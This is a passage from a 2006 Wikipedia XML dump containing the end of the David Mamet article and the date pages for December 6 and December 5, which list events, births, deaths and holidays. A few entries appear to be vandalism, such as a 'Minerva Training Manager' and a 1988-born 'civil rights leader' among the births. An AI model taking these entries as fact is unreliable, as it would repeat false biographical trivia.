* [http://www.huffingtonpost.com/david-mamet/ David Mamet's writings and cartoons on the Huffington Post]''
* [http://mamet.eserver.org/ The David Mamet Society]

{{mamet}}

[[Category:1947 births|Mamet, David]]
[[Category:Living people|Mamet, David]]
[[Category:American dramatists and playwrights|Mamet, David]]
[[Category:American screenwriters|Mamet, David]]
[[Category:Chicagoans|Mamet, David]]
[[Category:Jewish American writers|Mamet, David]]
[[Category:Jewish American directors|Mamet,David]]
[[Category:Members of The American Academy of Arts and Letters|Mamet, David]]
[[Category:People from Illinois|Mamet, David]]
[[Category:Pulitzer Prize winners|Mamet, David]]

[[de:David Mamet]]
[[fr:David Mamet]]
[[ja:デヴィッド・マメット]]</text>
    </revision>
  </page>
  <page>
    <title>December 6</title>
    <id>8352</id>
    <revision>
      <id>42058188</id>
      <timestamp>2006-03-03T14:44:55Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv nonsense entry</comment>
      <text xml:space="preserve">[[December 6]] is the 340th day (341st on leap years) of the year in the [[Gregorian calendar]]. There are 25 days remaining.

{{DecemberCalendar}}

==Events==
*[[963]]  - [[Leo VIII]] is elected [[Pope]].
*[[1240]] - [[Mongol invasion of Rus]]: [[Kiev]] under [[Danylo of Halych]] and [[Voivode Dmytro]] falls to the [[Mongols]] under [[Batu Khan]].
*[[1534]] - The city of [[Quito]] in [[Ecuador]] is founded by Spanish settlers led by [[Sebastián de Belalcázar]].
*[[1768]] - The first edition of the ''[[Encyclopædia Britannica]]'' is published.
*[[1790]] - The [[Congress of the United States|U.S. Congress]] moves from [[New York City]] to [[Philadelphia, Pennsylvania]]
*[[1845]] - [[Alpha Sigma Phi]] Fraternity was founded at [[Yale College]] by [[Louis Manigault]], [[Horace Spangler Weiser]], and [[Stephen Ornsby Rhea]].
*[[1849]] - American [[abolitionist]] [[Harriet Tubman]] escapes from slavery.
*[[1865]] - The [[Thirteenth Amendment to the United States Constitution]] is ratified, banning [[slavery]].
*[[1877]] - The ''[[Washington Post]]'' newspaper is first published.
*[[1884]] - The [[Washington Monument]] in [[Washington D.C.]] is completed.
*[[1907]] - A [[List of disasters|coal mine explosion]] at [[Monongah, West Virginia]] kills 362 workers. 
*[[1917]] - [[Finland]] [[Finland's declaration of independence|declares its independence]] from [[Russia]].
*  1917   - [[Halifax Explosion]]: In [[Canada]], a munitions explosion kills more than 1900 people and destroys part of the city of [[Halifax Regional Municipality, Nova Scotia|Halifax, Nova Scotia]].
*[[1921]] - The [[Anglo-Irish Treaty]] is signed in London by British and Irish representatives
*[[1922]] - One year to the day after the signing of the Anglo-Irish Treaty, the [[Irish Free State]] comes into existence.
*[[1933]] - U.S. federal judge John M. Woolsey rules that the [[James Joyce]] novel ''[[Ulysses (novel)|Ulysses]]'' is not obscene.
*[[1947]] - The [[Everglades National Park]] in [[Florida]] is dedicated.
*[[1957]] - [[Project Vanguard]]: A launchpad explosion thwarts the first [[United States]] attempt to launch a [[satellite]].
*[[1965]] - [[Pakistan]]'s Islamic Ideology Advisory Committee recommended that Islamic Studies be made a compulsory subject for [[Muslim]] students from primary to graduation level.
*[[1969]] - [[Meredith Hunter]] is killed by [[Hell's Angels]] during [[The Rolling Stones]]'s concert at the [[Altamont]] speedway in [[California]].
*[[1971]] - [[Pakistan]] snaps diplomatic ties with [[India]] following [[India|New Delhi]]'s recognition of [[Bangladesh]].
*[[1971]] - King [[Faisal of Saudi Arabia]] condemns Indian aggression on [[Pakistan]].
*[[1973]] - The [[United States House of Representatives]] votes 387 to 35 to confirm [[Gerald Ford]] as [[Vice President of the United States]] (on [[November 27]], the [[United States Senate|Senate]] confirmed him 92 to 3).  
*[[1975]] - [[Balcombe Street Siege]]: An [[Provisional Irish Republican Army|IRA]] [[Active Service Unit]] takes a couple hostage in Balcombe Street, [[London]].
*[[1977]] - [[South Africa]] grants independence to [[Bophuthatswana]], although it is not recognized by any other country
*[[1978]] - [[Spain]] approves [[Spanish Constitution of 1978|its latest constitution]] in a referendum.
*[[1989]] - [[École Polytechnique Massacre]]: [[Marc Lépine]] kills 14 young women in [[Montreal, Quebec]].
*[[1991]] - In [[Croatia]], forces of the [[Yugoslav People's Army]] bombard [[Dubrovnik]] after laying siege there since May.
*[[1992]] - In [[Ayodhya]], [[India]], [[Hinduism|Hindus]] belonging to the nationalist [[Bharatiya Janata Party]] demolish the [[Babri Mosque|Babri Masjid]], a 16th century [[mosque]].
*[[1997]] - A [[Russia]]n [[Antonov]] AN-124 transport cargo plane crashes into an apartment complex near [[Irkutsk]], [[Siberia]], killing 67.
*[[2005]] - [[David Cameron]] becomes leader of the UK [[Conservative Party (UK)|Conservative Party]], defeating [[David Davis]].

==Births==
*[[846]] - [[Hasan al-Askari]], [[Shia Imam]] (d. [[874]])
*[[1285]] - King [[Ferdinand IV of Castile]] (d. [[1312]])
*[[1421]] - King [[Henry VI of England]] (d. [[1471]])
*[[1478]] - [[Baldassare Castiglione]], Italian diplomat and author (d. [[1529]])
*[[1550]] - [[Orazio Vecchi]], Italian composer (baptism) (d. [[1605]])
*[[1586]] - [[Niccolo Zucchi]], Italian astronomer (d. [[1670]])
*[[1608]] - [[George Monck, 1st Duke of Albemarle]], English soldier (d. [[1670]])
*[[1637]] - Sir [[Edmund Andros]], English governor in North America (d. [[1714]])
*[[1640]] - [[Claude Fleury]], French historian (d. [[1723]])
*[[1642]] - [[Johann Christoph Bach]], German composer (d. [[1703]])
*[[1721]] - [[James Elphinston]], British philologist (d. [[1809]])
*  1721   - [[Guillaume-Chrétien de Lamoignon de Malesherbes]], French statesman (d. [[1794]])
*[[1778]] - [[Joseph Louis Gay-Lussac]], French physicist and chemist (d. [[1850]])
*[[1792]] - King [[William II of the Netherlands]] (d. [[1849]])
*[[1805]] - [[Adolf Reubke]], German organ builder (d. [[1875]])
*  1805   - [[Jean Eugène Robert-Houdin]], French magician (d. [[1861]])
*[[1823]] - [[Max Müller|Friedrich Max Müller]], German orientalist (d. [[1900]])
*[[1833]] - [[John Singleton Mosby]], American Confederate guerrilla leader (d. [[1916]])
*[[1841]] - [[Frédéric Bazille]], French painter (d. [[1870]])
*[[1849]] - [[August von Mackensen]], German field marshal (d. [[1945]])
*[[1863]] - [[Charles Martin Hall]], American chemist (d. [[1914]])
*[[1872]] - [[William S. Hart]], American actor (d. [[1946]])
*[[1875]] - [[Evelyn Underhill]], British poet (d. [[1941]])
*[[1886]] - [[Joyce Kilmer]], American poet (d. [[1918]])
*[[1890]] - [[Rudolf Schlichter]], German artist and writer (d. [[1955]])
*1890 - [[Yoshio Nishina]], Japanese physicist (d. [[1951]])
*[[1892]] - Sir [[Osbert Sitwell]], British author (d. [[1969]])
*[[1896]] - [[Ira Gershwin]], American lyricist (d. [[1983]])
*[[1898]] - [[Alfred Eisenstaedt]], German-born photojournalist (d. [[1995]])
*  1898   - [[Gunnar Myrdal]], Swedish economist, recipient of the [[Nobel Prize in Economics|Bank of Sweden Prize]] (d. [[1987]])
*[[1900]] - [[Agnes Moorehead]], American actress (d. [[1974]])
*[[1903]] - [[Tony Lazzeri]], American baseball player (d. [[1946]])
*[[1905]] - [[James J. Braddock]], American boxer (d. [[1974]])
*[[1908]] - [[Pierre Graber]], Swiss Federal Councilor (d. [[2003]])
*[[1913]] - [[Eleanor Holm]], American swimmer (d. [[2004]])
*[[1917]] - [[Kamal Jumblatt]], leader of the Lebanese Druze (d. [[1977]])
*[[1919]] - [[Paul de Man]], Belgian-born literary critic (d. [[1983]])
*[[1920]] - [[Dave Brubeck]], American pianist and composer
*  1920   - [[George Porter]], British chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[2002]])
*[[1921]] - [[Otto Graham]], American football player (d. [[2003]])
*[[1928]] - [[Bobby Van]], American singer (d. [[1980]])
*[[1929]] - [[Alain Tanner]], Swiss filmmaker
*  1929   - [[Nikolaus Harnoncourt]], German conductor
*[[1930]] - [[Daniel Lisulo]], [[Prime Minister of Zambia]]
*[[1933]] - [[Henryk Górecki]], Polish composer
*[[1936]] - [[David Ossman]], American comedian
*[[1942]] - [[Peter Handke]], Austrian writer
*[[1945]] - [[Shekhar Kapur]], Indian filmmaker
* 1945 - [[Larry Bowa]], baseball player and Major League manager
*[[1948]] - [[JoBeth Williams]], American actress
*  1948   - [[Keke Rosberg]], Finnish race car driver
*[[1950]] - [[Joe Hisaishi]], Japanese composer
*[[1952]] - [[Rick Charlesworth]], Australian cricketer, politician, hockey player, and coach
*[[1953]] - [[Tom Hulce]], American actor
*  1953   - [[Gary Ward]], American baseball player
*[[1955]] - [[Steven Wright]], American comedian
*  1955   - [[Rick Buckler]], British drummer ([[The Jam]])
*[[1956]] - [[Peter Buck]], American guitarist ([[R.E.M. (band)|R.E.M.]])
*  1956   - [[Randy Rhoads]], American guitarist (d. [[1982]])
*[[1958]] - [[Xander Berkeley]], American actor
*  1958   - [[Nick Park]], British filmmaker and animator
*[[1961]] - [[David Lovering]], American drummer ([[The Pixies]])
*[[1962]] - [[Janine Turner]], American actress
*[[1967]] - [[Hacken Lee]], Hong Kong singer
*[[1971]] - [[Richard Krajicek]], Dutch tennis player
*  1971   - [[Ryan White]], American AIDS activist (d. [[1990]])
*[[1976]] - [[Colleen Haskell]], American television personality
*[[1977]] - [[Kevin Cash]], baseball player
*  1977   - [[Andrew Flintoff]], England cricketer
* 1977 - [[Paul McVeigh]], Irish footballer
*[[1979]] - [[Tim Cahill]], Australia footballer
*[[1980]] - [[Steve Lovell]], British footballer
*[[1983]] - [[Bryan Habana]], South African rugby player
*[[1986]] - [[Cintia Dicker]], Brazilian model
*[[1988]] - [[Adam Greenberg]], American civil rights leader
*[[1993]] - [[Elian Gonzalez]], Cuban subject of child custody battle

==Deaths==
*[[1185]] - King [[Afonso I of Portugal]] (b. [[1109]])
*[[1352]] - [[Pope Clement VI]] (b. [[1291]])
*[[1562]] - [[Jan van Scorel]] Dutch painter and architect
*[[1618]] - [[Jacques-Davy Duperron]], French cardinal (b. [[1556]])
*[[1658]] - [[Baltasar Gracián y Morales]], Spanish writer (b. [[1601]])
*[[1672]] - King [[John II Casimir of Poland]] (b. [[1609]])
*[[1675]] - [[John Lightfoot]], English churchman (b. [[1602]])
*[[1718]] - [[Nicholas Rowe (dramatist)|Nicholas Rowe]], English poet and dramatist (b. [[1674]])
*[[1746]] - [[Lady Grizel Baillie]], Scottish songwriter (b. [[1665]])
*[[1771]] - [[Giovanni Battista Morgagni]], Italian anatomist (b. [[1682]])
*[[1779]] - [[Jean-Baptiste-Siméon Chardin]], French painter (b. [[1699]])
*[[1788]] - [[Jonathan Shipley]], British bishop and politician (b. [[1714]])
*[[1867]] - [[Jean Pierre Flourens]], French physician (b. [[1794]])
*[[1868]] - [[August Schleicher]], German linguist (b. [[1821]])
*[[1882]] - [[Anthony Trollope]], British author (b. [[1815]])
*  1882   - [[Alfred Escher]], Swiss politician and railroad entrepreneur (b. [[1819]])
*[[1889]] - [[Jefferson Davis]], [[President of the Confederate States of America]] (b. [[1808]])
*[[1892]] - [[Ernst Werner von Siemens]], German inventor and industrialist (b. [[1816]])
*[[1949]] - [[Leadbelly]], American musician (b. [[1885]])
*[[1951]] - [[Harold Ross]], American magazine editor (b. [[1892]])
*[[1955]] - [[Honus Wagner]], baseball player (b. [[1874]])
*[[1956]] - [[Ambedkar|Dr. Bhimji Ramji Ambedkar]], Indian Minister of Law (b. [[1891]])
*[[1961]] - [[Frantz Fanon]], West Indian psychiatrist and writer (b. [[1925]])
*[[1976]] - [[João Goulart]], [[President of Brazil]] (b. [[1918]])
*[[1985]] - [[Burr Tillstrom]], American puppeteer (b. [[1917]])
*[[1988]] - [[Roy Orbison]], American singer, guitarist, and songwriter (b. [[1936]])
*[[1989]] - [[Frances Bavier]], American actress (b. [[1902]])
*[[1991]] - Sir [[Richard Stone]], British economist, [[Nobel Prize in Economics|Nobel Prize]] laureate (b. [[1913]])
*[[1993]] - [[Don Ameche]], American actor (b. [[1908]])
*[[1997]] - [[Billy Bremner]], Scottish footballer (b. [[1942]])
*[[2001]] - Sir [[Peter Blake (yachtsman)|Peter Blake]], New Zealand sailor and environmentalist (b. [[1948]])  
*[[2002]]   - [[Philip Berrigan]], American civil rights activist (b. [[1923]]) 
*[[2003]] - [[Carlos Manuel Arana Osorio]], [[President of Guatemala]] (b. [[1918]]) 
*  2003   - [[Jerry Tuite]], American professional wrestler (b. [[1966]]) 
*[[2004]] - [[Raymond Goethals]], Belgian football coach (b. [[1921]]) 
*[[2005]] - [[Charly Gaul]], Luxembourg cyclist
*2005 - [[Devan Nair]], 3rd [[President of Singapore]]  (b. [[1923]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - optional memorial of [[Saint Nicholas]]
* Also see [[December 6 (Eastern Orthodox liturgics)]]
* [[Canada]] - [[National Day of Remembrance and Action on Violence Against Women]]
* [[Public holidays in Finland|Finland]] - [[Finland Independence Day]] (from Russia, [[1917]])
* [[Public holidays in Spain|Spain]] - [[Spanish Constitution of 1978|Constitution Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/6 BBC: On This Day]

----

[[December 5]] - [[December 7]] - [[November 6]] - [[January 6]] — [[historical anniversaries|listing of all days]]

{{months}}

[[af:6 Desember]]
[[an:6 d'abiento]]
[[ar:6 ديسمبر]]
[[ast:6 d'avientu]]
[[be:6 сьнежня]]
[[bg:6 декември]]
[[bs:6. decembar]]
[[ca:6 de desembre]]
[[ceb:Disyembre 6]]
[[co:6 di decembre]]
[[cs:6. prosinec]]
[[csb:6 gòdnika]]
[[cv:Раштав, 6]]
[[cy:6 Rhagfyr]]
[[da:6. december]]
[[de:6. Dezember]]
[[el:6 Δεκεμβρίου]]
[[eo:6-a de decembro]]
[[es:6 de diciembre]]
[[et:6. detsember]]
[[eu:Abenduaren 6]]
[[fi:6. joulukuuta]]
[[fo:6. desember]]
[[fr:6 décembre]]
[[fy:6 desimber]]
[[ga:6 Nollaig]]
[[gl:6 de decembro]]
[[he:6 בדצמבר]]
[[hr:6. prosinca]]
[[hu:December 6]]
[[ia:6 de decembre]]
[[id:6 Desember]]
[[io:6 di decembro]]
[[is:6. desember]]
[[it:6 dicembre]]
[[ja:12月6日]]
[[jv:6 Desember]]
[[ka:6 დეკემბერი]]
[[ko:12월 6일]]
[[ku:6'ê berfanbarê]]
[[la:6 Decembris]]
[[lb:6. Dezember]]
[[lt:Gruodžio 6]]
[[mk:6 декември]]
[[ms:6 Disember]]
[[nap:6 'e dicembre]]
[[nl:6 december]]
[[nn:6. desember]]
[[no:6. desember]]
[[oc:6 de decembre]]
[[pam:Disiembri 6]]
[[pl:6 grudnia]]
[[pt:6 de Dezembro]]
[[ro:6 decembrie]]
[[ru:6 декабря]]
[[scn:6 di dicèmmiru]]
[[sco:6 December]]
[[se:Juovlamánu 6.]]
[[simple:December 6]]
[[sk:6. december]]
[[sl:6. december]]
[[sq:6 Dhjetor]]
[[sr:6. децембар]]
[[sv:6 december]]
[[te:డిసెంబర్ 6]]
[[th:6 ธันวาคม]]
[[tl:Disyembre 6]]
[[tr:6 Aralık]]
[[tt:6. Dekäber]]
[[uk:6 грудня]]
[[vi:6 tháng 12]]
[[wa:6 di decimbe]]
[[war:Disyembre 6]]
[[zh:12月6日]]</text>
    </revision>
  </page>
  <page>
    <title>December 5</title>
    <id>8353</id>
    <revision>
      <id>41921350</id>
      <timestamp>2006-03-02T17:07:10Z</timestamp>
      <contributor>
        <ip>194.60.125.248</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">&lt;!-- language links at the bottom of this page --&gt;
'''[[December 5]]''' is the 339th day (340th in [[leap year]]s) of the year in the [[Gregorian calendar]]. There are 26 days remaining.

{{DecemberCalendar}}

==Events==
* [[1484]] - [[Pope Innocent VIII]] issues the ''[[Summis desiderantes]]'', a [[papal bull]] that deputizes [[Heinrich Kramer]] and [[Jacob Sprenger]] as [[inquisition|inquisitors]] to root out alleged [[witchcraft]] in [[Germany]] and leads to one of the severest witchhunts in European history.
* [[1492]] - [[Christopher Columbus]] becomes the first [[Europe]]an to set foot on the island of [[Hispaniola]].
* [[1560]] - [[Francis II of France]] dies and is succeeded by [[Charles IX of France]].
* [[1590]] - Niccolò Sfondrati becomes [[Pope Gregory XIV]].
* [[1766]] - In [[London]], [[Christie's|James Christie]] holds his first sale.
* [[1776]] - At the [[College of William and Mary]] in [[Williamsburg, Virginia]], the [[Phi Beta Kappa]] is founded as the first scholastic  [[fraternities and sororities|fraternity]] in the [[United States]].
* [[1830]] - World premiere of Hector Berlioz's most famous work Symphonie Phantastique in Paris.
* [[1831]] - Former US President [[John Quincy Adams]] takes his seat in the [[United States House of Representatives|House of Representatives]].
* [[1848]] - [[California Gold Rush]]: In a message before the [[Congress of the United States|U.S. Congress]], US President [[James K. Polk]] confirms that large amounts of [[gold]] had been discovered in [[California]].  
* [[1892]] - [[John Sparrow David Thompson|Sir John Thompson]] becomes the fourth [[Prime Minister of Canada]].
* [[1926]] - [[Sergei Eisenstein]]'s ''[[Battleship Potemkin]]'' is premiered.
* [[1932]] - [[Germany|German]]-born [[Swiss]] [[physicist]] [[Albert Einstein]] is granted an American [[visa (document)|visa]].
* [[1933]] - [[Prohibition]] ends: [[Utah]] becomes the 36th [[U.S. state]] to ratify the [[Twenty-first Amendment to the United States Constitution]], thus establishing the required 75% of states needed to enact the amendment (this overturned the [[Eighteenth Amendment to the United States Constitution|18th Amendment]] which had outlawed [[ethenol|alcohol]] in the [[United States]]).  
* [[1934]] - [[Abyssinia Crisis]]: [[History of Italy as a monarchy and in the World Wars|Italian]] troops attack Wal Wal in [[Abyssinia]], taking four days to capture the city.  
* [[1936]] - The [[Soviet Union]] adopts a new [[1936 Soviet Constitution|constitution]] and the [[Kirghiz SSR|Kirghiz Soviet Socialist Republic]] is established as a full [[Republics of the Soviet Union|Union Republic]] of the [[Soviet Union|USSR]].
* [[1941]] - In [[Battle of Moscow]] Zhukov launched a massive Soviet counter-attack against the German army, with the biggest offensive launched against Army Group Centre.
* 1941 - [[John Steinbeck]]'s book ''[[Sea of Cortez]]'' is published (Steinbeck used knowledge gained writing this book to develop the marine biologist character Doc (see [[Ed Ricketts]]) in ''[[Cannery Row (novel)|Cannery Row]]''). 
* [[1945]] - [[Flight 19]], a squadron of five [[U.S. Navy]] [[TBF Avenger]] bombers on a training flight out of [[Fort Lauderdale]], is lost in the [[Bermuda Triangle]]. 
* [[1952]] - ''The Abbott and Costello Show'', starring comedians [[Bud Abbott]] and [[Lou Costello]], debuts on American television.  
* [[1955]] - The [[American Federation of Labor]] and the [[Congress of Industrial Organizations]] merge and form the [[AFL-CIO]]. 
* [[1958]] - [[subscriber trunk dialling|Subscriber Trunk Dialling (STD)]] is inaugurated in the [[UK]] by  [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] when she speaks to the [[Lord Provost]] in a call from [[Bristol]] to [[Edinburgh]].
* 1958 - The [[Preston]] bypass, the [[United Kingdom|UK]]'s first stretch of [[motorway]] opens to traffic for the first time, now part of the [[M6 motorway|M6]] and [[M55 motorway]]s.
* [[1964]] - [[Vietnam War]]: For his heroism in battle earlier in the year, Captain [[Roger Donlon]] of [[Saugerties, New York]] is awarded the first [[Medal of Honor]] of the war. 
* [[1974]] - ''Party Political Broadcast'', the final episode of [[Monty Python's Flying Circus]], is broadcast on [[BBC 2]].
* [[1976]] - [[United Nations General Assembly]] adopts [[Pakistan]] resolution on security of non-Nuclear States. 
* [[1977]] -  [[Egypt]] breaks diplomatic relations with [[Syria]], [[Libya]], [[Algeria]], [[Iraq]] and South [[Yemen]]. The move is in retaliation to the Declaration of Tripoli against Egypt.
* [[1978]] - The [[Soviet Union]] signs a 'friendship treaty' with the [[Democratic Republic of Afghanistan]].
* [[1979]] - [[Sonia Johnson]] is formally [[excommunication | excommunicated]] by [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] for her outspoken criticism of the church concerning the proposed [[Equal Rights Amendment]] to the [[Constitution of the United States]].
* [[1992]] - [[Kent Conrad]] of [[North Dakota]] resigns his seat in the [[United States Senate]] and is sworn into the other seat from North Dakota, becoming the only US Senator ever to have held two seats on the same day.
* [[2004]] - [[BJP]] dissidents in the [[India]]n state of [[West Bengal]] launch the [[Dr. Syamaprasad Jana Jagaran Manch]] forum.
* [[2005]] - The [[2005 Southeast Asian Games]] end in [[Manila]].
* 2005 - The [[2005 Lake Tanganyika earthquake|Lake Tanganyika earthquake]] causes significant damage, mostly in the [[Democratic Republic of the Congo]].
* 2005 - The [[Civil Partnership Act]] comes into effect in the [[United Kingdom]], and the first [[Civil partnerships in the United Kingdom|civil partnership]] is registered there.

==Births==
*[[1377]] - [[Jianwen Emperor]] of China (d. [[1402]])
*[[1443]] - [[Pope Julius II]] (d. [[1513]])
*[[1495]] - [[Nicolas Cleynaerts]], Flemish grammarian (d. [[1542]])
*[[1537]] - [[Ashikaga Yoshiaki]], Japanese shogun (d. [[1597]])
*[[1539]] - [[Fausto Paolo Sozzini]], Italian theologian (d. [[1604]])
*[[1547]] - [[Ubbo Emmius]], Dutch historian and geographer (d. [[1625]])
*[[1595]] - [[Henry Lawes]], English composer (d. [[1662]])
*[[1661]] - [[Robert Harley, 1st Earl of Oxford and Mortimer]], English statesman (d. [[1724]])
*[[1687]] - [[Francesco Geminiani]], Italian violinist and composer (d. [[1762]])
*[[1782]] - [[Martin Van Buren]], 8th [[President of the United States]] (d. [[1862]])
*[[1803]] - [[Fyodor Ivanovich Tyutchev]], Russian poet (d. [[1873]])
*[[1820]] - [[Afanasy Fet]], Russian poet (d. [[1892]])
*[[1822]] - [[Elizabeth Cary Agassiz]], American college president (d. [[1907]])
*[[1830]] - [[Christina Rossetti]], British poet (d. [[1894]])
*[[1839]] - [[George Armstrong Custer]], American general (d. [[1876]])
*[[1841]] - [[Marcus Daly]], American mining tycoon (d. [[1900]])
*[[1855]] - [[Clinton Hart Merriam]], American ornithologist (d. [[1942]])
*[[1859]] - [[John Jellicoe, 1st Earl Jellicoe|John Jellicoe]], British admiral (d. [[1935]])
*[[1867]] - [[Józef Piłsudski]], Polish revolutionary and statesman (d. [[1935]])
*[[1868]] - [[Arnold Sommerfeld]], German physicist (d. [[1951]])
*[[1869]] - [[Ellis Parker Butler]], American author (d. [[1937]])
*[[1870]] - [[Vítězslav Novák]], Czech composer (d. [[1949]])
*[[1871]] - [[Bill Pickett]], American rodeo performer (d. [[1932]])
*[[1872]] - [[Harry Nelson Pillsbury]], American chess player (d. [[1906]])
*[[1875]] - Sir [[Arthur Currie]], Canadian soldier (d. [[1933]])
*[[1879]] - [[Clyde Cessna]], American airplane manufacturer (d. [[1954]])
*[[1886]] - [[Rose Wilder Lane]], American writer and reporter (d. [[1968]])
*[[1890]] - [[David Bomberg]], British painter (d. [[1957]])
*1890 - [[Fritz Lang]], Austrian-born film director (d. [[1976]])
*[[1895]] - [[Elbert Frank Cox]], American mathematician
*[[1896]] - [[Carl Ferdinand Cori]], Austrian-born biochemist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1984]])
*[[1898]] - [[Grace Moore]], American soprano (d. [[1947]]}
*[[1901]] - [[Walt Disney]], American animated film producer (d. [[1966]])
*1901 - [[Milton H. Erickson]], American psychiatrist (d. [[1980]])
*1901 - [[Werner Heisenberg]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1976]])
*[[1902]] - [[Strom Thurmond]], American politician (d. [[2003]])
*[[1903]] - [[Johannes Heesters]], Dutch singer and actor
*1903 - [[Cecil Frank Powell]], British physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1969]])
*[[1906]] - [[Otto Preminger]], Austrian-born director, producer, and actor (d. [[1986]])
*[[1907]] - [[Giuseppe Occhialini]], Italian physicist (d. [[1993]])
*[[1911]] - [[Władysław Szpilman]], Polish pianist (d. [[2000]])
*[[1914]] - [[Hans Hellmut Kirst]], German author (d. [[1989]])
*[[1927]] - [[Bhumibol Adulyadej]], [[King of Thailand]]
*[[1932]] - [[Sheldon Lee Glashow]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*1932 - [[Little Richard]] (Richard Wayne Penniman), American singer and pianist
*[[1934]] - [[Joan Didion]], American writer
*[[1935]] - [[Calvin Trillin]], American writer
*[[1940]] - [[Peter Pohl]], Swedish writer
*[[1943]] - [[Eva Joly]], Norwegian-born French magistrate
*[[1944]] - [[Jeroen Krabbé]], Dutch actor
*[[1946]] - [[José Carreras]], Spanish tenor
*[[1947]] - [[Jim Messina]], American musician ([[Buffalo Springfield]])
*1947 - [[Jim Plunkett]], American football player
*[[1949]] - [[Ray Comfort]], New Zealand evangelist
*[[1950]] - [[Camarón de la Isla]], Spanish flamenco singer (d. [[1992]])
*1950 - [[Osvaldo Golijov]], Argentine-born composer
*[[1953]] - [[Larry Zbyszko]], American professional wrestler
*[[1956]] - [[Brian Backer]], American actor
*1956 - [[Krystian Zimerman]], Polish pianist
*[[1957]] - [[Art Monk]], American football player
*[[1958]] - [[Dean Erickson]], American actor
*[[1960]] - [[Jack Russell]], American singer ([[Great White|Great White (band)]])
*[[1962]] - [[José Cura]], Argentine tenor
*[[1963]] - [[Eddie 'the Eagle' Edwards]], British skier
*[[1965]] - [[Johnny Rzeznik]] American singer ([[Goo Goo Dolls]])
*[[1967]] - [[Gary Allan]], American singer
*[[1968]] - [[Margaret Cho]], American comedian and actress
*1968 - [[Lisa Marie]], American model and actress
*1969 - Karen Lynne Youds, Minerva Training Manager
*[[1973]] - [[Luboš Motl]], Czech physicist
*[[1975]] - [[Ronnie O'Sullivan]], British snooker player
*[[1979]] - [[Matteo Ferrari]], Italy footballer
*1979 - [[Niklas Hagman]], [[Finland|Finnish]] hockey player
*[[1982]] - [[Eddy Curry]], American basketball player
*[[1985]] - [[Josh Smith]], American basketball player
*1985 - [[Frankie Muniz]], American actor
*[[1988]] - [[Ross Bagley]], American actor

==Deaths==
*[[749]] - Saint [[John of Damascus]], theologian
*[[1082]] - [[Ramon Berenguer II, Count of Barcelona]]
*[[1355]] - [[John III, Duke of Brabant]] (b. [[1300]])
*[[1560]] - King [[Francis II of France]] (b. [[1544]])
*[[1624]] - [[Gaspard Bauhin]], Swiss botanist (b. [[1560]])
*[[1654]] - [[Jean François Sarrazin]], French writer
*[[1663]] - [[Severo Bonini]], Italian composer (b. [[1582]])
*[[1749]] - [[Pierre Gaultier de Varennes et de la Vérendrye]], [[New France|New French]] explorer and trader (b. [[1685]])
*[[1758]] - [[Johann Friedrich Fasch]], German composer (b. [[1688]])
*[[1770]] - [[James Stirling (mathematician)|James Stirling]], Scottish mathematician (b. [[1692]])
*[[1784]] - [[Phillis Wheatley]], British poet (b. [[1753]])
*[[1791]] - [[Wolfgang Amadeus Mozart]], Austrian composer (b. [[1756]])
*[[1819]] - [[Friedrich Leopold Graf zu Stolberg]], German poet (b. [[1750]])
*[[1870]] - [[Alexandre Dumas|Alexandre Dumas père]], French writer (b. [[1802]])
*[[1887]] - [[Eliza Roxcy Snow]], American poet (b. [[1804]])
*[[1891]] - Emperor [[Pedro II of Brazil]] (b. [[1825]])
*[[1925]] - [[Władysław Reymont]], Polish writer and [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1867]])
*[[1926]] - [[Claude Monet]], French impressionist painter (b. [[1840]])
*[[1931]] - [[Vachel Lindsay]], American poet (b. [[1879]])
*[[1940]] - [[Jan Kubelík]], Austro-Hungarian-born Czechoslovak violinist (b. [[1880]])
*[[1950]] - [[Shri Aurobindo]], Indian guru (b. [[1872]])
*[[1951]] - [[Shoeless Joe Jackson]], American baseball player (b. [[1889]])
*1951 - [[Abanindranath Tagore]], Indian writer (b. [[1871]])
*[[1963]] - [[Huseyn Shaheed Suhrawardy]], Prime Minister [[Pakistan]] (b. [[1892]])
*1963 - [[Karl Amadeus Hartmann]], German composer (b. [[1905]])
*1963 - [[Sri Deep Narayan Mahaprabhuji]], Indian Hindu mystic
*[[1965]] - [[Joseph Erlanger]], American physiologist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (b. [[1874]])
*[[1989]] - Sir [[John Pritchard]], British conductor (b. [[1921]])
*[[1991]] - [[Richard Speck]], American mass murderer (b. [[1941]])
*[[1993]] - [[Doug Hopkins]], American guitarist and songwriter ([[Gin Blossoms]]) (b. [[1961]])
*[[2001]] - [[Franco Rasetti]], Italian physicist (b. [[1901]])
*[[2002]] - [[Roone Arledge]], American sports broadcasting pioneer (b. [[1931]])
*2002 - [[Ne Win]], Burmese leader (b. [[1911]])
*[[2005]] - [[Frits Philips]], Dutch industrialist and businessman from multinational Philips Electronics (b. [[1905]])
*2005 - Kevin &quot;[[Big Kev]]&quot; Mc Quay, Australian businessman (b. [[1949]])

==Holidays and observances==
*[[Roman festivals]] - [[Faunalia]] celebrated in honor of [[Faunus]] (according to [[Horace]], ''Odes 3.18'')
*[[Calendar of Saints|R.C. Saints]] - formerly: [[Saint Sabas]]
*Also see [[December 5 (Eastern Orthodox liturgics)]]
*[[Austria]] - [[Krampus]]
*[[Belgium]], the [[Netherlands]] and the [[United Kingdom|UK]] - [[Nicholas of Myra|Saint Nicholas Eve]] (whom [[Dutch language|Dutch]] speakers call ''Sinterklaas'', which became in other languages [[Santa Claus]])
*[[Thailand]] - The [[Bhumibol Adulyadej|King]]'s Birthday, [[National Day]], [[Father's Day]]
*[[International Volunteer Day]]
*[[Day of the Ninja]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/5 BBC: On This Day]

----
[[December 4]] - [[December 6]] - [[November 5]] - [[January 5]] — [[historical anniversaries|listing of all days]]
Quito Day

{{months}}

[[ceb:Disyembre 5]]
